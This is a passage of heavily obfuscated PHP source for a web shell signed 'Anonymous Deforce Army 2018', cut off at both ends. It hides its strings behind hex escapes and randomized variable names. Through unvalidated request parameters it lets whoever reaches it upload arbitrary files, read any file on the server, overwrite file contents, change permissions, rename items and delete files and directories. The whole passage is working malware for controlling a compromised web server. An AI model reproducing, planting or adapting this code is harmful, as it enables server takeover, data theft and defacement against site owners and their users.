\x68re\x66=\x22?p\x61t\x68=/\"\x3e/</\x61\x3e";continue;}$cgfcabfbjwb="p\x61t";if(${$voedns}=="")continue;echo"<a\x20\x68r\x65\x66=\x22?\x70at\x68\x3d";for(${${"GLOB\x41\x4c\x53"}["\x6b\x74\x65\x68p\x62\x6cj\x64\x78\x76o"]}=0;${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x65\x75\x6czo\x62j\x63\x76\x74"]}<=${${"\x47\x4c\x4fB\x41L\x53"}["\x65w\x77x\x6dl\x76q"]};${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65u\x6c\x7a\x6fb\x6a\x63v\x74"]}++){echo"$paths[$i]";${"G\x4c\x4f\x42A\x4c\x53"}["wy\x61\x6d\x65\x65\x76w\x66f\x6a\x64"]="i\x64";${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x6d\x71\x65\x72\x74\x68\x6a\x6a"]="\x69";if(${${"\x47\x4cO\x42\x41L\x53"}["\x72m\x71e\x72th\x6aj"]}!=${${"GL\x4f\x42\x41\x4c\x53"}["\x77\x79ame\x65\x76w\x66\x66\x6a\x64"]})echo"/";}echo"\"\x3e".${$cgfcabfbjwb}."</a\x3e/";}echo"</\x74d>\x3c/t\x72><tr>\x3ctd>";if(isset($_FILES["f\x69le"])){$ywvdbym="p\x61\x74\x68";if(copy($_FILES["f\x69l\x65"]["\x74\x6d\x70\x5f\x6e\x61me"],${$ywvdbym}."/".$_FILES["fil\x65"]["nam\x65"])){echo"<font c\x6f\x6c\x6fr\x3d\x22cyan\x22>\x55plo\x61d \x53uc\x63\x65\x73\x73\x3c/\x66ont><br /\x3e";}else{echo"\x3cfon\x74 \x63ol\x6fr\x3d\"red\x22\x3e\x55\x70lo\x61d Fail\x65\x64\x20:\x3c\x3c/\x66\x6fn\x74><b\x72/\x3e";}}echo"<\x66\x6frm en\x63\x74yp\x65\x3d\"\x6d\x75\x6c\x74\x69p\x61\x72\x74/\x66o\x72m-\x64\x61t\x61\"\x20m\x65\x74h\x6f\x64\x3d\"POS\x54\x22\x3e\n<\x66\x6f\x6et \x63\x6fl\x6f\x72\x3d\"w\x68i\x74\x65\x22\x3eF\x69\x6c\x65 Up\x6c\x6fa\x64\x20:</f\x6f\x6et\x3e <in\x70ut\x20\x74\x79\x70\x65\x3d\x22fi\x6ce\" \x6e\x61\x6de\x3d\"\x66i\x6c\x65\x22 />\n<\x69\x6e\x70\x75t\x20t\x79pe=\"su\x62mi\x74\x22 \x76a\x6cue=\x22u\x70l\x6f\x61d\x22 /\x3e\n</\x66or\x6d>\n\x3c/\x74\x64>\x3c/\x74r\x3e";if(isset($_GET["\x66i\x6c\x65sr\x63"])){echo"\x3c\x74r><\x74d>C\x75rre\x6e\x74\x20F\x69l\x65 : ";echo$_GET["\x66i\x6ce\x73r\x63"];echo"\x3c/\x74r\x3e\x3c/\x74d></\x74\x61ble\x3e\x3cb\x72\x20/>";echo("<\x70r\x65\x3e".htmlspecialchars(file_get_contents($_GET["\x66i\x6cesrc"]))."</\x70\x72\x65\x3e");}elseif(isset($_GET["\x6f\x70\x74\x69o\x6e"])&&$_POST["\x6f\x70t"]!="\x64\x65lete"){echo"\x3c/tab\x6ce\x3e\x3c\x62r /\x3e<ce\x6et\x65r\x3e".$_POST["\x70\x61\x74\x68"]."<\x62\x72 />\x3c\x62\x72 /\x3e";if($_POST["\x6f\x70\x74"]=="\x63\x68\x6dod"){if(isset($_POST["per\x6d"])){if(chmod($_POST["p\x61\x74\x68"],$_POST["p\x65r\x6d"])){echo"\x3c\x66o\x6et\x20\x63olor=\"\x23\x62\x38\x63de\x61\x22\x3e[+] P\x65r\x6d\x69ssi\x6fn \x43\x6f\x70\x79 :D \x3c/\x66\x6f\x6e\x74><\x62\x72/>";}else{echo"\x3cf\x6f\x6et col\x6fr\x3d\"\x23\x378\x38\x66ae\x22>Y\x61\x68 \x47\x61\x67a\x6c \x47\x61\x6et\x69\x20P\x65\x72\x6di\x73s\x69o\x6e\x20:(\x20\x3c/\x66\x6fnt>\x3c\x62\x72 />";}}echo"<\x66o\x72m\x20\x6detho\x64\x3d\"PO\x53\x54\x22>\nP\x65\x72\x6d\x69ss\x69\x6fn :\x20\x3ci\x6eput\x20na\x6de=\"perm\x22\x20\x74\x79\x70\x65=\x22te\x78\x74\x22\x20\x73\x69ze\x3d\"4\x22 v\x61\x6c\x75\x65\x3d\x22".substr(sprintf("%\x6f",fileperms($_POST["p\x61t\x68"])),-4)."\"\x20/\x3e\n<\x69\x6epu\x74 \x74\x79p\x65=\x22hidden\"\x20n\x61\x6de=\x22p\x61t\x68\x22\x20\x76\x61\x6cu\x65=\"".$_POST["\x70a\x74\x68"]."\"\x3e\n<\x69\x6e\x70ut\x20\x74y\x70\x65\x3d\"\x68id\x64en\x22 \x6eame\x3d\"op\x74\x22\x20\x76al\x75e\x3d\"chm\x6f\x64\">\n\x3ci\x6e\x70\x75t ty\x70e\x3d\"\x73ub\x6d\x69t\x22\x20va\x6c\x75e=\"\x45n\x74e\x72\x22\x20/\x3e\n</fo\x72\x6d\x3e";}elseif($_POST["op\x74"]=="\x67ant\x69 n\x61\x6da"){if(isset($_POST["n\x65\x77\x6ea\x6de"])){if(rename($_POST["\x70at\x68"],${${"GL\x4fB\x41\x4c\x53"}["v\x78d\x79v\x66gdu"]}."/".$_POST["new\x6e\x61me"])){echo"<\x66\x6f\x6et color\x3d\x22\">\x73u\x63c\x65ss\x20\x6ea\x6d\x65 c\x6fpy :\x76</fo\x6et>\x3cb\x72/>";}else{echo"\x3cf\x6fnt col\x6f\x72=\"red\">G\x61nti N\x61\x6d\x61 \x47aga\x6c</\x66\x6fn\x74><br\x20/>";}$_POST["\x6e\x61\x6d\x65"]=$_POST["newname"];}echo"<\x66o\x72m me\x74h\x6fd\x3d\"PO\x53T\"\x3e\n\x4e\x65w\x20\x4e\x61\x6de\x20: \x3ci\x6e\x70\x75\x74\x20n\x61\x6d\x65=\x22n\x65\x77nam\x65\x22\x20t\x79\x70\x65=\"tex\x74\x22\x20siz\x65\x3d\x22\x32\x30\"\x20\x76al\x75e=\x22".$_POST["n\x61\x6d\x65"]."\x22\x20/>\n<inp\x75t typ\x65\x3d\x22h\x69\x64\x64\x65n\"\x20\x6eame=\"p\x61\x74h\"\x20v\x61\x6c\x75\x65=\x22".$_POST["\x70a\x74h"]."\x22\x3e\n\x3c\x69\x6e\x70ut\x20\x74yp\x65\x3d\x22h\x69d\x64en\x22 n\x61\x6d\x65=\"o\x70t\" v\x61\x6cue=\"re\x6e\x61m\x65\x22\x3e\n<i\x6e\x70u\x74\x20\x74ype\x3d\x22sub\x6di\x74\"\x20\x76a\x6c\x75\x65=\x22Go\x22\x20/\x3e\n\x3c/f\x6fr\x6d\x3e";}elseif($_POST["\x6f\x70t"]=="\x65d\x69\x74"){if(isset($_POST["\x73\x72\x63"])){$ckeehoo="\x66p";${$ckeehoo}=fopen($_POST["p\x61\x74\x68"],"\x77");if(fwrite(${${"GL\x4fBA\x4cS"}["i\x6b\x6da\x75\x71kwd\x73b"]},$_POST["\x73rc"])){echo"\x3c\x66ont\x20\x63\x6f\x6c\x6fr\x3d\x22\x67\x72ee\x6e\x22\x3e\x45\x64\x69t\x3c/fo\x6et><\x62r/\x3e";}else{echo"\x3c\x66\x6f\x6e\x74 \x63\x6f\x6cor=\x22\x72\x65d\"\x3e\x46\x61i\x6ce\x64\x20\x45di\x74 :(</\x66\x6f\x6et><b\x72/\x3e";}fclose(${${"G\x4c\x4f\x42A\x4c\x53"}["\x69\x6b\x6d\x61\x75\x71\x6bwd\x73\x62"]});}echo"\x3c\x66\x6fr\x6d me\x74\x68\x6fd=\x22\x50OS\x54\"\x3e\n\x3c\x74\x65xt\x61r\x65\x61\x20c\x6fl\x73\x3d\x380\x20\x72\x6fw\x73=20\x20n\x61\x6d\x65\x3d\"\x73\x72c\">".htmlspecialchars(file_get_contents($_POST["\x70\x61th"]))."</\x74e\x78\x74a\x72\x65a><\x62\x72\x20/>\n<\x69\x6e\x70u\x74\x20t\x79\x70\x65\x3d\"h\x69d\x64\x65\x6e\" n\x61m\x65=\"\x70\x61\x74h\x22\x20\x76\x61\x6cu\x65\x3d\"".$_POST["\x70a\x74\x68"]."\x22>\n<\x69npu\x74\x20\x74y\x70\x65=\"h\x69\x64\x64\x65\x6e\x22\x20\x6eam\x65=\"o\x70\x74\"\x20v\x61lu\x65\x3d\"\x65d\x69t\x22\x3e\n\x3cin\x70ut typ\x65=\x22\x73\x75\x62mit\" \x76a\x6cu\x65=\x22Save\"\x20/\x3e\n\x3c/f\x6f\x72m>";}echo"\x3c/c\x65nt\x65r\x3e";}else{$jbfwxfpv="\x64\x69\x72";$rxlyrbgdnw="file";echo"</tab\x6ce\x3e<\x62r/>\x3c\x63e\x6et\x65\x72\x3e";$cuzzbnxcl="s\x63a\x6ed\x69\x72";if(isset($_GET["o\x70\x74i\x6fn"])&&$_POST["o\x70\x74"]=="\x64e\x6ce\x74e"){if($_POST["t\x79p\x65"]=="dir"){if(rmdir($_POST["\x70a\x74h"])){echo"\x3cf\x6fnt\x20col\x6f\x72=\"g\x72e\x65\x6e\x22>D\x69r\x65\x63tory\x20R\x65m\x6fve\x64\x20:\x56 \x3c/\x66\x6fnt\x3e<\x62\x72/\x3e";}else{echo"\x3c\x66\x6f\x6et \x63\x6f\x6cor\x3d\"r\x65d\x22\x3e\x44i\x72ect\x6fry\x20\x44\x65lete\x20\x46a\x69\x6c\x65d :V \x20  \x20     \x20\x20\x20  \x20\x20\x20\x20 \x20  \x20 \x20\x20\x20\x20\x20  \x20   \x20  \x20  \x20\x20    \x20  \x20 \x20 \x20   \x20  \x20\x20  \x20 \x20\x20 \x20    \x20  \x20\x20\x20\x20\x20  \x20\x20  \x20\x20\x20\x20\x20 \x20\x20  \x20\x20\x20\x20 \x20 \x20\x20\x20\x20  \x20 \x20  \x20\x20 \x20 \x20\x20 \x20\x20  \x20\x20  \x20\x20\x20     \x20 \x20 \x20\x20 \x20    \x20 \x20 \x20  \x20\x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20    \x20\x20\x20\x20  \x20\x20\x20  \x20 \x20   \x20 \x20   \x20\x20\x20 \x20  \x20\x20    \x20   \x20  \x20\x20  \x20\x20 \x20\x20\x20  \x20 \x20  \x20  \x20\x20\x20\x20 \x20 \x20\x20\x20 \x20\x20 \x20\x20 \x20\x20\x20  \x20\x20   \x20 \x20\x20 \x20\x20 \x20\x20   \x20 \x20\x3c/font>\x3c\x62\x72/>";}}elseif($_POST["typ\x65"]=="f\x69\x6ce"){if(unlink($_POST["\x70\x61\x74h"])){echo"\x3c\x66o\x6e\x74 colo\x72=\x22gre\x65n\"\x3eFile\x20\x53uc\x63e\x73sf\x75ll\x79\x20\x52e\x6dov\x65d\x3c/\x66\x6f\x6et\x3e<\x62r/>";}else{echo"\x3c\x66o\x6e\x74\x20\x63\x6flo\x72=\"\x72e\x64\x22>Fi\x6c\x65 \x46a\x69le\x64 \x54\x6f D\x65\x6c\x65\x74e\x20:(</font><\x62\x72/\x3e";}}}echo"\x3c/cen\x74\x65r\x3e";${$cuzzbnxcl}=scandir(${${"G\x4c\x4f\x42AL\x53"}["\x76xdyvf\x67\x64\x75"]});echo"\x3c\x64\x69\x76\x20\x69\x64=\"\x63o\x6e\x74e\x6et\"><tab\x6c\x65 wid\x74\x68\x3d\x22\x38\x30\x30\"\x20\x62\x6f\x72der=\"0\" \x63e\x6c\x6c\x70\x61\x64d\x69n\x67\x3d\"\x33\"\x20\x63e\x6c\x6cs\x70\x61\x63\x69\x6e\x67\x3d\"\x31\"\x20al\x69gn\x3d\x22\x63en\x74\x65\x72\x22\x3e\n\x3c\x74\x72 c\x6c\x61\x73s=\x22fi\x72st\x22>\n<t\x64><\x63e\x6eter>[+] \x4e\x61mes [+]</\x53CA></\x63e\x6et\x65r></t\x64>\n\x3c\x74d\x3e<\x63e\x6eter>[+] B\x69\x74\x65\x73 [+]</\x53C\x41></\x63\x65nt\x65r>\x3c/\x74d>\n<td><\x63e\x6et\x65r>[+] \x50\x65rmis\x73i\x6f\x6e\x20C\x6f\x70\x79 [+]\x3c/p\x65\x6cl\x65\x72></cen\x74er></\x74d\x3e\n<td\x3e\x3c\x63e\x6e\x74e\x72>[+] Modi\x66\x69\x65d [+]</\x53\x43A\x3e</\x63en\x74\x65\x72>\x3c/td\x3e\n</t\x72\x3e";$xhmfwzquq="sc\x61\x6e\x64i\x72";foreach(${$xhmfwzquq} as${$jbfwxfpv}){${"\x47\x4c\x4f\x42AL\x53"}["\x65\x61\x70\x62\x68\x70\x6c\x78"]="\x64\x69r";${"G\x4c\x4fB\x41\x4c\x53"}["\x64\x6a\x6d\x74\x79\x76\x6b\x66\x6f\x6c\x6f\x65"]="\x64\x69r";$koptfrz="\x70\x61t\x68";$zlgbwbemuaf="\x70\x61t\x68";if(!is_dir(${$koptfrz}."/".${${"\x47L\x4fB\x41L\x53"}["mh\x71\x67\x64\x6bm\x6d\x6b\x68"]})||${${"G\x4cO\x42\x41\x4cS"}["\x6d\x68\x71\x67d\x6b\x6d\x6d\x6b\x68"]}=="."||${${"\x47L\x4f\x42\x41\x4c\x53"}["m\x68\x71\x67\x64k\x6dm\x6bh"]}==".\x2e")continue;$biuqwmkto="\x64\x69\x72";echo"<t\x72\x3e\n<\x74d\x3e<a\x20\x68re\x66\x3d\x22?p\x61\x74\x68\x3d".${${"\x47\x4c\x4f\x42\x41LS"}["\x76x\x64yv\x66\x67\x64\x75"]}."/".${$biuqwmkto}."\"\x3e".${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64\x6a\x6dt\x79\x76kf\x6f\x6co\x65"]}."\x3c/\x61\x3e\x3c/\x74d>\n\x3ct\x64\x3e<\x63e\x6e\x74\x65\x72\x3e--</\x63\x65nt\x65\x72></td>\n<\x74d\x3e<cent\x65\x72>";$ftmfieskny="p\x61\x74\x68";if(is_writable(${${"\x47\x4c\x4f\x42A\x4c\x53"}["v\x78d\x79\x76\x66g\x64u"]}."/".${${"GL\x4f\x42\x41\x4cS"}["\x65apb\x68\x70\x6c\x78"]}))echo"<f\x6f\x6et\x20co\x6cor=\x22\x67\x72ee\x6e\">";elseif(!is_readable(${${"\x47L\x4fBAL\x53"}["\x76x\x64\x79\x76f\x67\x64\x75"]}."/".${${"\x47L\x4f\x42A\x4c\x53"}["\x6d\x68qg\x64k\x6d\x6dk\x68"]}))echo"<fo\x6e\x74 c\x6flor=\"r\x65d\x22>";echo perms(${$zlgbwbemuaf}."/".${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x68\x71\x67d\x6b\x6d\x6d\x6b\x68"]});if(is_writable(${${"\x47LOB\x41\x4cS"}["\x76\x78dyv\x66\x67d\x75"]}."/".${${"\x47\x4c\x4fBA\x4c\x53"}["\x6d\x68\x71gd\x6bm\x6d\x6b\x68"]})||!is_readable(${$ftmfieskny}."/".${${"G\x4c\x4f\x42A\x4c\x53"}["m\x68\x71gdk\x6d\x6dkh"]}))echo"\x3c/\x66ont>";echo"\x3c/c\x65n\x74e\x72></\x74\x64\x3e\n<td\x3e\x3c\x63ente\x72\x3e\x3cf\x6f\x72\x6d m\x65thod=\"P\x4f\x53T\" \x61\x63\x74ion=\x22?\x6f\x70tio\x6e&p\x61\x74\x68\x3d".${${"G\x4c\x4f\x42\x41\x4cS"}["vx\x64y\x76fgd\x75"]}."\">\n\x3c\x73e\x6c\x65\x63\x74 name\x3d\"\x6fp\x74\">\n<\x6f\x70\x74\x69o\x6e v\x61\x6cue\x3d\"\"\x3e\x20M\x65n\x75 </o\x70t\x69o\x6e>\n\x3c\x6f\x70\x74io\x6e\x20val\x75e=\"d\x65lete\x22\x3e[+]\x20D\x65let\x65\x20[+]</\x6fptio\x6e>\n<\x6f\x70\x74\x69o\x6e val\x75e\x3d\"c\x68\x6d\x6fd\x22\x3e[+]\x20C\x68m\x6fd\x20[+]\x3c/\x6f\x70\x74io\x6e\x3e\n<o\x70t\x69on v\x61l\x75\x65\x3d\"renam\x65\x22\x3e[+]\x20Ren\x61me\x20[+]\x3c/opt\x69on>\n\x3c/se\x6cect>\n\x3ci\x6ep\x75\x74 t\x79\x70\x65=\x22\x68i\x64\x64\x65n\" \x6e\x61me=\"type\"\x20v\x61l\x75e\x3d\"dir\x22>\n\x3cinp\x75\x74\x20ty\x70e\x3d\"\x68i\x64d\x65\x6e\"\x20nam\x65=\"na\x6de\"\x20\x76\x61lu\x65=\x22".${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6d\x68\x71\x67d\x6b\x6d\x6dk\x68"]}."\x22\x3e\n<inpu\x74 \x74\x79p\x65\x3d\x22hi\x64\x64en\x22 na\x6d\x65=\"pa\x74h\"\x20\x76alu\x65\x3d\x22".${${"\x47L\x4f\x42\x41\x4cS"}["vxd\x79v\x66\x67\x64u"]}."/".${${"G\x4c\x4fB\x41\x4cS"}["m\x68\x71\x67d\x6b\x6dm\x6b\x68"]}."\">\n<\x69n\x70u\x74\x20t\x79p\x65\x3d\"\x73u\x62mit\x22\x20\x76alue=\"\x3e\x22\x3e\n</for\x6d\x3e\x3c/c\x65nter\x3e</\x74\x64>\n</\x74\x72>";}echo"\x3ct\x72 \x63\x6c\x61\x73s\x3d\x22\x66ir\x73\x74\"\x3e\x3ct\x64\x3e</td\x3e\x3ct\x64\x3e</\x74\x64><t\x64\x3e</\x74\x64\x3e\x3ct\x64\x3e\x3c/t\x64\x3e</tr>";foreach(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x74c\x72\x70ohu\x6c\x74"]} as${$rxlyrbgdnw}){$xobtrni="\x66\x69le";$spyeig="\x73\x69\x7ae";$pewrqmua="fi\x6c\x65";${"\x47\x4cO\x42A\x4c\x53"}["\x72rv\x6cv\x6dj\x79\x69"]="\x73\x69\x7a\x65";${"\x47\x4cO\x42\x41LS"}["\x74\x76\x77e\x77\x6e"]="fi\x6c\x65";if(!is_file(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76x\x64yv\x66\x67d\x75"]}."/".${${"\x47L\x4fBAL\x53"}["tv\x77e\x77\x6e"]}))continue;${"\x47\x4c\x4f\x42A\x4c\x53"}["z\x64\x76\x78uh"]="\x70a\x74\x68";${"G\x4cO\x42\x41\x4c\x53"}["\x74l\x6a\x62\x74\x62"]="\x70a\x74\x68";$thwitticf="\x70at\x68";$vllgvpto="p\x61\x74\x68";${"G\x4c\x4f\x42\x41L\x53"}["f\x67it\x64j\x64\x79\x73"]="\x66\x69\x6c\x65";${"GLOB\x41LS"}["\x66\x72\x61\x68\x6b\x78\x74\x6c\x73\x75m\x73"]="\x66il\x65";$tytfqpmpq="\x66i\x6ce";${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x64\x78\x71hi\x71\x6c"]="\x66\x69\x6c\x65";${$spyeig}=filesize(${$vllgvpto}."/".${$pewrqmua})/1024;${${"\x47L\x4f\x42\x41\x4c\x53"}["\x79\x78\x75\x62\x65k\x7a\x64\x78\x6b\x69"]}=round(${${"G\x4cO\x42\x41\x4c\x53"}["\x79x\x75\x62\x65k\x7a\x64\x78ki"]},3);${"\x47L\x4f\x42A\x4c\x53"}["qy\x6ct\x63\x66\x62\x6e\x77"]="\x70at\x68";if(${${"\x47\x4c\x4f\x42\x41L\x53"}["r\x72\x76l\x76\x6d\x6a\x79\x69"]}>=1024){$niukvtmibzq="s\x69\x7a\x65";$pgxjmkw="\x73\x69\x7a\x65";${$pgxjmkw}=round(${$niukvtmibzq}/1024,2)." M\x42";}else{${${"GL\x4f\x42\x41\x4c\x53"}["\x79\x78\x75b\x65\x6bz\x64x\x6b\x69"]}=${${"\x47L\x4f\x42\x41\x4cS"}["\x79\x78u\x62e\x6b\x7a\x64x\x6bi"]}." \x4bB";}echo"<\x74r\x3e\n<\x74\x64\x3e\x3ca\x20href\x3d\"?files\x72\x63\x3d".${${"G\x4cO\x42A\x4c\x53"}["v\x78\x64yv\x66\x67\x64u"]}."/".${${"\x47L\x4f\x42\x41L\x53"}["\x64\x6e\x6a\x70\x6b\x66\x75\x75\x79\x62b\x73"]}."&pa\x74h\x3d".${${"G\x4c\x4f\x42AL\x53"}["\x76x\x64y\x76\x66\x67\x64\x75"]}."\x22\x3e".${$xobtrni}."\x3c/a\x3e\x3c/td\x3e\n\x3ctd><ce\x6e\x74e\x72>".${${"\x47\x4cO\x42\x41\x4c\x53"}["\x79\x78\x75\x62ek\x7a\x64\x78\x6bi"]}."</ce\x6et\x65r></\x74d>\n\x3c\x74d\x3e<\x63\x65n\x74er\x3e";if(is_writable(${${"G\x4cO\x42\x41\x4c\x53"}["vx\x64y\x76fgd\x75"]}."/".${${"\x47L\x4fB\x41LS"}["\x64n\x6a\x70k\x66\x75uy\x62\x62s"]}))echo"\x3c\x66\x6fn\x74 c\x6f\x6c\x6fr\x3d\x22\x67r\x65e\x6e\x22\x3e";elseif(!is_readable(${$thwitticf}."/".${${"G\x4cO\x42\x41\x4cS"}["\x64n\x6a\x70\x6b\x66\x75\x75\x79bbs"]}))echo"\x3c\x66on\x74\x20c\x6f\x6c\x6fr=\x22re\x64\"\x3e";echo perms(${${"G\x4cO\x42\x41\x4c\x53"}["t\x6c\x6abtb"]}."/".${${"G\x4c\x4fB\x41\x4c\x53"}["dn\x6a\x70\x6b\x66\x75\x75\x79\x62\x62\x73"]});if(is_writable(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76\x78\x64yv\x66\x67\x64\x75"]}."/".${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66g\x69tdj\x64\x79s"]})||!is_readable(${${"\x47\x4c\x4f\x42A\x4cS"}["\x7advx\x75h"]}."/".${${"\x47L\x4f\x42\x41\x4cS"}["\x66\x72\x61\x68k\x78t\x6c\x73\x75\x6d\x73"]}))echo"</f\x6f\x6e\x74>";echo"</cen\x74\x65\x72\x3e</\x74d>\n\x3c\x74\x64>\x3c\x63\x65\x6eter><f\x6frm\x20\x6d\x65\x74hod=\x22\x50\x4f\x53\x54\"\x20\x61\x63ti\x6f\x6e\x3d\x22?op\x74ion&pa\x74\x68=".${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76x\x64\x79\x76fg\x64\x75"]}."\x22\x3e\n<\x73elec\x74 \x6e\x61\x6d\x65=\"op\x74\">\n<\x6fp\x74i\x6f\x6e\x20\x76\x61lu\x65\x3d\"\"\x3e\x20Men\x75\x20\x3c/o\x70\x74\x69\x6fn\x3e\n<\x6fpt\x69\x6f\x6e va\x6c\x75e\x3d\"d\x65l\x65te\x22>[+]\x20De\x6cet\x65\x20[+]</\x6fp\x74\x69on>\n\x3co\x70\x74i\x6fn v\x61lue=\x22c\x68\x6d\x6f\x64\"\x3e[+]\x20\x43\x68\x6d\x6fd [+]</\x6fp\x74io\x6e\x3e\n<\x6fp\x74ion v\x61\x6c\x75e\x3d\"r\x65\x6e\x61me\">[+]\x20\x52ename\x20[+]\x3c/\x6fpt\x69o\x6e\x3e\n\x3c\x6fpti\x6f\x6e\x20v\x61\x6c\x75e\x3d\"ed\x69t\x22>[+]\x20\x45di\x74\x20[+]\x3c/\x6f\x70t\x69o\x6e\x3e\n\x3c/\x73\x65\x6c\x65\x63\x74\x3e\n<inp\x75\x74 t\x79p\x65\x3d\"hi\x64d\x65n\x22\x20name\x3d\x22t\x79\x70\x65\x22 \x76\x61\x6cue=\x22f\x69\x6ce\"\x3e\n<i\x6ep\x75t \x74\x79\x70\x65\x3d\x22\x68i\x64d\x65n\"\x20n\x61\x6d\x65\x3d\x22\x6eam\x65\" v\x61l\x75\x65=\x22".${$tytfqpmpq}."\x22\x3e\n\x3c\x69n\x70ut\x20\x74y\x70e=\"h\x69d\x64e\x6e\" \x6e\x61m\x65\x3d\"p\x61th\" \x76a\x6c\x75e=\x22".${${"\x47\x4c\x4fBA\x4cS"}["\x71\x79\x6ct\x63f\x62n\x77"]}."/".${${"G\x4cO\x42\x41\x4cS"}["\x61dx\x71\x68\x69\x71\x6c"]}."\"\x3e\n<\x69\x6e\x70u\x74\x20\x74\x79\x70e\x3d\x22\x73u\x62\x6d\x69\x74\"\x20\x76\x61lu\x65\x3d\"\x3e\"\x3e\n</f\x6f\x72\x6d>\x3c/c\x65\x6et\x65r>\x3c/\x74d>\n\x3c/\x74r>";}echo"\x3c/t\x61\x62\x6ce>\n\x3c/\x64i\x76\x3e";}echo"<c\x65\x6eter\x3e<br/>\x3cs\x69z\x65\x3d\"\x36\"\x41n\x6f\x6e\x79mous\x20\x44e\x66o\x72\x63\x65\x20A\x72\x6dy 2\x30\x318\x3c/c\x65nt\x65r>\n</bo\x64\x79>\n</\x68tml>";function perms($file){$mkogjbht="\x70\x65rms";$wrgkkeb="\x70\x65\x72\x6d\x73";${"\x47L\x4f\x42\x41L\x53"}["\x75\x61y\x70y\x6fw"]="per\x6ds";${"\x47\x4c\x4f\x42\x41LS"}["\x74\x78oeoxe\x6ep\x75\x62"]="\x69n\x66\x6f";$bnyvmteunais="perms";$igroxrzx="\x70e\x72m\x73";$krbzrrftafj="\x70e\x72\x6ds";$khjbxtqhh="\x66\x69\x6c\x65";$dfaekzvqlb="\x70\x65\x72m\x73";${"G\x4c\x4f\x42A\x4cS"}["\x63wf\x65\x74nru\x63\x70s"]="\x70\x65r\x6d\x73";${"\x47\x4c\x4fB\x41L\x53"}["v\x6e\x78\x70\x77\x72r"]="pe\x72m\x73";${$bnyvmteunais}=fileperms(${$khjbxtqhh});${"G\x4cOB\x41L\x53"}["x\x67\x69\x62\x78\x6bg\x71\x6c\x7a"]="p\x65\x72\x6d\x73";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71u\x68\x69\x62\x76\x79rs\x6cy"]="\x70erm\x73";$rbxeiploee="i\x6e\x66\x6f";${"GL\x4f\x42A\x4c\x53"}["\x62qh\x67e\x6dsm"]="p\x65rm\x73";$uxrnovaqcoj="\x70\x65\x72\x6d\x73";$vzwepzhkmxm="i\x6ef\x6f";$vmhkqqxym="\x70e\x72\x6ds";if((${$mkogjbht}&0xC000)==0xC000){${"G\x4cO\x42A\x4c\x53"}["\x68b\x74\x6a\x6ag\x6a\x6d\x6a\x68\x64g"]="i\x6e\x66\x6f";${${"\x47\x4c\x4fB\x41L\x53"}["hb\x74\x6ajg\x6a\x6djhd\x67"]}="s";}elseif((${${"\x47LO\x42A\x4c\x53"}["\x68\x6f\x7an\x63\x69"]}&0xA000)==0xA000){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x65\x6c\x6b\x6bi\x7a\x76a\x6e\x77"]="\x69n\x66o";${${"\x47\x4c\x4f\x42\x41L\x53"}["vel\x6b\x6b\x69\x7ava\x6ew"]}="\x6c";}elseif((${${"G\x4cO\x42AL\x53"}["\x76n\x78p\x77\x72\x72"]}&0x8000)==0x8000){${${"\x47\x4cOB\x41\x4cS"}["\x68no\x62\x62\x76\x77sr"]}="-";}elseif((${${"G\x4c\x4f\x42\x41\x4c\x53"}["h\x6fzn\x63i"]}&0x6000)==0x6000){${"\x47LO\x42\x41\x4c\x53"}["\x63\x6al\x79y\x68\x76c\x64d"]="i\x6e\x66\x6f";${${"GL\x4f\x42A\x4cS"}["c\x6al\x79\x79\x68v\x63\x64d"]}="\x62";}elseif((${${"\x47L\x4f\x42A\x4c\x53"}["\x68o\x7a\x6eci"]}&0x4000)==0x4000){${${"G\x4c\x4f\x42AL\x53"}["\x68no\x62\x62vw\x73r"]}="\x64";}elseif((${$igroxrzx}&0x2000)==0x2000){${"\x47\x4cOB\x41\x4cS"}["\x73\x6bg\x68\x62e\x78"]="in\x66o";${${"GL\x4f\x42A\x4cS"}["\x73\x6b\x67\x68\x62e\x78"]}="c";}elseif((${${"\x47L\x4fBA\x4c\x53"}["q\x75h\x69\x62v\x79\x72sl\x79"]}&0x1000)==0x1000){${${"GL\x4f\x42A\x4c\x53"}["\x68\x6eo\x62b\x76ws\x72"]}="p";}else{${${"GL\x4f\x42\x41\x4c\x53"}["\x68\x6eo\x62\x62\x76w\x73r"]}="\x75";}${"GL\x4fBA\x4c\x53"}["\x73n\x62\x6bxlvq\x6d\x74\x72\x6b"]="\x70\x65\x72m\x73";${${"\x47\x4c\x4f\x42A\x4c\x53"}["hno\x62\x62v\x77\x73\x72"]}.=((${$krbzrrftafj}&0x0100)?"r":"-");${${"G\x4c\x4f\x42\x41\x4cS"}["\x68\x6eo\x62\x62\x76\x77\x73\x72"]}.=((${${"GL\x4f\x42AL\x53"}["ho\x7a\x6e\x63i"]}&0x0080)?"\x77":"-");${${"\x47LO\x42\x41\x4cS"}["\x68\x6e\x6f\x62b\x76\x77\x73\x72"]}.=((${${"\x47\x4c\x4fB\x41\x4c\x53"}["h\x6fzn\x63i"]}&0x0040)?((${$wrgkkeb}&0x0800)?"\x73":"\x78"):((${${"G\x4c\x4fB\x41LS"}["\x75a\x79\x70yow"]}&0x0800)?"S":"-"));$whcixnly="p\x65r\x6ds";${${"\x47\x4cO\x42\x41L\x53"}["\x68\x6e\x6fb\x62\x76\x77\x73\x72"]}.=((${${"\x47L\x4f\x42A\x4c\x53"}["h\x6f\x7an\x63\x69"]}&0x0020)?"\x72":"-");${${"\x47\x4cOB\x41L\x53"}["\x68\x6e\x6f\x62b\x76\x77sr"]}.=((${${"\x47LO\x42\x41L\x53"}["\x62\x71h\x67\x65m\x73m"]}&0x0010)?"\x77":"-");${${"GLOB\x41LS"}["\x74x\x6feo\x78\x65\x6e\x70\x75\x62"]}.=((${${"\x47\x4c\x4fBA\x4c\x53"}["\x63\x77f\x65tnr\x75c\x70\x73"]}&0x0008)?((${${"\x47LO\x42AL\x53"}["\x78g\x69\x62\x78\x6b\x67\x71l\x